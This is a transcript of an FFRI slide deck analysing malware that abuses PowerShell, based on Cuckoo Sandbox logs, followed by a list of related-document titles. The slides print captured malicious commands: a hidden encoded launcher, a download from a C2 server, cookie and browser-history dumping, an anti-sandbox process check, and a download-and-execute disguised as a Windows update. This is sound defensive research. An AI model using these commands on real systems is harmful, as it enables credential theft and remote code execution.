Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute,...

13
1 Malware armed with PowerShell FFRI,Inc. http://www.ffri.jp Ver 2.00.01

Transcript of Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute,...

Page 1: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

1

Fourteenforty Research Institute, Inc.

Malware armed with PowerShell

FFRI,Inc.http://www.ffri.jp

Ver 2.00.01

Page 2: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

2

Introduction

• We have been continuously providing FFRI Dataset(2013-) to CSS/MWS which is an academic symposium held in Japan

– http://www.iwsec.org/mws/2014/en.html

• The dataset is a set of log files which is generated by Cuckoo Sandbox for approximately 3,000 malware randomly sampled from our collection since Jan to Apr each year

• We confirmed a few activities that malware abusing PowerShell on their executions in the dataset

• In this slides, we introduce those activities

Page 3: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

Related works

• Black Hat USA 2014

– INVESTIGATING POWERSHELL ATTACKSRyan Kazanciyan, Matt Hastings at FireEye

• RSA Conference 2015 San Francisco

– HACKING EXPOSED: BEYOND THE MALWAREGeorge Kurtz, Dmitri Alperovitch, ELIA ZAITSEV at CrowdStrike

3

Page 4: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

The samples

# sha1 Detection

Rate on VT

Analysis

Date on VT

1 46070ec0b7d4e1b7d6d8152bb1d1e6e7475c5b20 75% 2015-05-04 10:58:57 UTC

2 b6ad75833fc0bafbfdd8143f27d33b5b36553ba2 75% 2015-04-09 15:06:50 UTC

4

Page 5: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

How we confirmed

• As we mentioned above, the dataset is generated by Cuckoo

• Therefore we could see PS relevant activities via API calls below

– NtWriteCreating a batch file and writing encoded PS scripts into the file

– NtCreateUserProcesss / ShellExecuteWExecuting PS scripts with powershell.exe

5

Page 6: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

Generating a batch file

6

NtWriteFile(

Buffer:@shift^M powershell -nop -windows hidden -noni -enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsA,

FileHandle:0x000000f8

)

Base64 encoded

-noprofile –noninteractive -encodedcommand

Page 7: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

Downloading data from C2 server

ShellExecuteExW(

Show:0,

Parameters:-Command "(New-ObjectSystem.Net.WebClient).DownloadData(DEFACED);“,

FilePath:c:¥windows¥system32¥windowspowershell¥v1.0¥¥¥powershell.exe

)

7

Page 8: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

Dumping cookies

8

NtCreateUserProcess(ProcessDesiredAccess:0x02000000,

CommandLine:c:¥windows¥system32¥windowspowershell¥v1.0¥¥¥powershell.exe -Command "dir ([system.environment]::GetFolderPath('Cookies')+'¥*.txt')|Get-Content >> 'C:¥Users¥admin¥AppData¥Local¥Temp¥lbdatdp.txt'",

ThreadName:, ThreadHandle:0x0000019c, ThreadDesiredAccess:0x02000000,

ImagePathName:c:¥windows¥system32¥windowspowershell¥v1.0¥powershell.exe,

ProcessHandle:0x000001a4, ProcessFileName:)

NtCreateUserProcess(ProcessDesiredAccess:0x02000000,

CommandLine:c:¥windows¥system32¥windowspowershell¥v1.0¥¥¥powershell.exe -Command "dir ([system.environment]::GetFolderPath('Cookies')+'¥Low¥*.txt')|Get-Content >> 'C:¥Users¥admin¥AppData¥Local¥Temp¥lbdatdp.txt'",

ThreadName:, ThreadHandle:0x00000224, ThreadDesiredAccess:0x02000000,

ImagePathName:c:¥windows¥system32¥windowspowershell¥v1.0¥powershell.exe,

ProcessHandle:0x00000270, ProcessFileName:)

Page 9: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

Counting the number of matched domains

9

NtCreateUserProcess(ProcessDesiredAccess:0x02000000,

CommandLine:c:¥windows¥system32¥windowspowershell¥v1.0¥¥¥powershell.exe -Command "((Select-String -Path 'C:¥Users¥admin¥AppData¥Local¥Temp¥lbdatdp.txt','C:¥Users¥admin¥AppData¥Local¥Google¥Chrome¥User Data¥Default¥Cookies','C:¥Users¥admin¥AppData¥Local¥Google¥Chrome¥User Data¥Default¥History' -pattern DEFACED(domains) |group pattern|select name)|Measure-Object).count",

ThreadName:, ThreadHandle:0x00000268, ThreadDesiredAccess:0x02000000,

ImagePathName:c:¥windows¥system32¥windowspowershell¥v1.0¥powershell.exe,

ProcessHandle:0x0000026c, ProcessFileName:)

Page 10: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

Anti-sandbox

10

NtCreateUserProcess(

ProcessDesiredAccess:0x02000000,

CommandLine:c:¥windows¥system32¥windowspowershell¥v1.0¥¥¥powershell.exe -Command "(Get-Process|Select-String -pattern VBoxService,VBoxTray,Proxifier,prl_cc,prl_tools,vmusrvc,vmsrvc,vmtoolsd).count",

ThreadName:,

ThreadHandle:0x00000180,

ThreadDesiredAccess:0x02000000,

ImagePathName:c:¥windows¥system32¥windowspowershell¥v1.0¥powershell.exe,

ProcessHandle:0x00000254,

ProcessFileName:

)

Page 11: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

Download & exec

11

ShellExecuteExW(

Show:0,

Parameters:-Command "(New-Object System.Net.WebClient).DownloadFile(DEFACED,'C:¥ProgramData¥¥Microsoft-KB503492.exe');(New-Object -com Shell.Application).ShellExecute('C:¥ProgramData¥¥Microsoft-KB503492.exe');",

FilePath:c:¥windows¥system32¥windowspowershell¥v1.0¥¥¥powershell.exe

)

Page 12: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

Conclusions

• Nothing special, just doing typical malicious activities using PS

• Currently, PS is natively hosted on Windows environments

• Do we have to check whether all parameters for PS.exe and scripts are malicious?

– This situation is similar with malware built with AutoIt

• We should more focus behaviors of malware than ever

12

Page 13: Malware armed with Fourteenforty Research Institute, Inc ... · Fourteenforty Research Institute, Inc. 1 ... Malware armed with ... • The dataset is a set of log files which is

Fourteenforty Research Institute, Inc.

13

Thank you !

FFRI,Inc.http://www.ffri.jp


A Hypervisor IPS based on Hardware Assisted Fourteenforty Research

A Hypervisor IPS based on Hardware Assisted Fourteenforty Research

Computer Virology and Mobile Malware Detection · 2019-03-14 · Outline •Introduction •Computer Virology • Malware taxonomy • Encrypted malware •Malware Detection •Mobile

Computer Virology and Mobile Malware Detection · 2019-03-14 · Outline •Introduction •Computer Virology • Malware taxonomy • Encrypted malware •Malware Detection •Mobile

Malware and anti-malware (fun with Trojans) - Z. …z.cliffe.schreuders.org/edu/FS/Malware and anti-malware... · 2014-04-02 · Malware and anti-malware (fun with Trojans) ... with

Malware and anti-malware (fun with Trojans) - Z. …z.cliffe.schreuders.org/edu/FS/Malware and anti-malware... · 2014-04-02 · Malware and anti-malware (fun with Trojans) ... with

Reversing & Malware Analysis Training Part 9 - Advanced Malware Analysis

Reversing & Malware Analysis Training Part 9 - Advanced Malware Analysis

Practical Malware Analysis: Ch 11: Malware Behavior

Practical Malware Analysis: Ch 11: Malware Behavior

MALWARES MALWARE REVIEWED ISE DE Malware Reviewed · MALWARES There are public reports about spreading of malware named as ServHelper malware. It is a backdoor malware used by attacker

MALWARES MALWARE REVIEWED ISE DE Malware Reviewed · MALWARES There are public reports about spreading of malware named as ServHelper malware. It is a backdoor malware used by attacker

Malware - Northern Kentucky University · Malware detection. 2. Theory of malware. 3. ... target backdoors and worm flaws. ... Malware factories . are software and processes to

Malware - Northern Kentucky University · Malware detection. 2. Theory of malware. 3. ... target backdoors and worm flaws. ... Malware factories . are software and processes to

Mobile Malware Network View - Black Hat · Mobile Malware Network View ... ... Windows Malware impacts mobile ...

Mobile Malware Network View - Black Hat · Mobile Malware Network View ... ... Windows Malware impacts mobile ...

Armed Forces - Armed Forces - 2016

Armed Forces - Armed Forces - 2016

Part 4: Malware Functionality Chapter 11: Malware Behavior Chapter 12: Covert Malware Launching Chapter 13: Data Encoding Chapter 14: Malware-focused Network.

Part 4: Malware Functionality Chapter 11: Malware Behavior Chapter 12: Covert Malware Launching Chapter 13: Data Encoding Chapter 14: Malware-focused Network.

The power of cyber protection fileCyBrave Certified Malware Analysis Investigator (CCMAI|CCMAIE) Malware Analysis Investigator Entry Level Malware Analysis Investigator Malware Analysis

The power of cyber protection fileCyBrave Certified Malware Analysis Investigator (CCMAI|CCMAIE) Malware Analysis Investigator Entry Level Malware Analysis Investigator Malware Analysis

Threat Bulletin Fileless Malware The Stealth Attacker · Threat Bulletin See. Control. Secure. Fileless Malware - The Stealth Attacker Fileless malware (FM), aka “non-malware”,

Threat Bulletin Fileless Malware The Stealth Attacker · Threat Bulletin See. Control. Secure. Fileless Malware - The Stealth Attacker Fileless malware (FM), aka “non-malware”,

Fourteenforty Research Institute, Inc. · Fourteenforty Research Institute, Inc. Android Malware : Evolution • Still no “real” obfuscation –Easy to analyze • Evolving Rapidly

Fourteenforty Research Institute, Inc. · Fourteenforty Research Institute, Inc. Android Malware : Evolution • Still no “real” obfuscation –Easy to analyze • Evolving Rapidly

Introduction to Mobile Malware. Outline ➢ Introduction ➢ Types of Malware ➢ Malware examples ➢ How Malware Spreads ➢ Prevention ➢ AndroRAT Hands-on Lab.

Introduction to Mobile Malware. Outline ➢ Introduction ➢ Types of Malware ➢ Malware examples ➢ How Malware Spreads ➢ Prevention ➢ AndroRAT Hands-on Lab.

SEH overwrite and its exploitability Shuichiro Suzuki Fourteenforty Research Institute Inc. Research Engineer.

SEH overwrite and its exploitability Shuichiro Suzuki Fourteenforty Research Institute Inc. Research Engineer.

Intrusion Detection and Malware Analysis - Malware analysis · Intrusion Detection and Malware Analysis Malware analysis Pavel Laskov Wilhelm Schickard Institute for Computer Science

Intrusion Detection and Malware Analysis - Malware analysis · Intrusion Detection and Malware Analysis Malware analysis Pavel Laskov Wilhelm Schickard Institute for Computer Science

Malware Analysis Analysis.pdf · Definisi Malware Analysis • What is a malware? • Malware (malicious software) ... Malware Sinkronisasi Token • Pelaku: Zeus Banking Trojan •

Malware Analysis Analysis.pdf · Definisi Malware Analysis • What is a malware? • Malware (malicious software) ... Malware Sinkronisasi Token • Pelaku: Zeus Banking Trojan •

Windows Malware Firewall: Remove Windows Malware Firewall

Windows Malware Firewall: Remove Windows Malware Firewall

Intrusion Detection and Malware Analysis - Malware collection134.2.173.140/lehre/ws10/ids-malware/12-malware-collection.pdf · Intrusion Detection and Malware Analysis Malware collection

Intrusion Detection and Malware Analysis - Malware collection134.2.173.140/lehre/ws10/ids-malware/12-malware-collection.pdf · Intrusion Detection and Malware Analysis Malware collection

Advanced malware analysis training session6 malware sandbox analysis

Advanced malware analysis training session6 malware sandbox analysis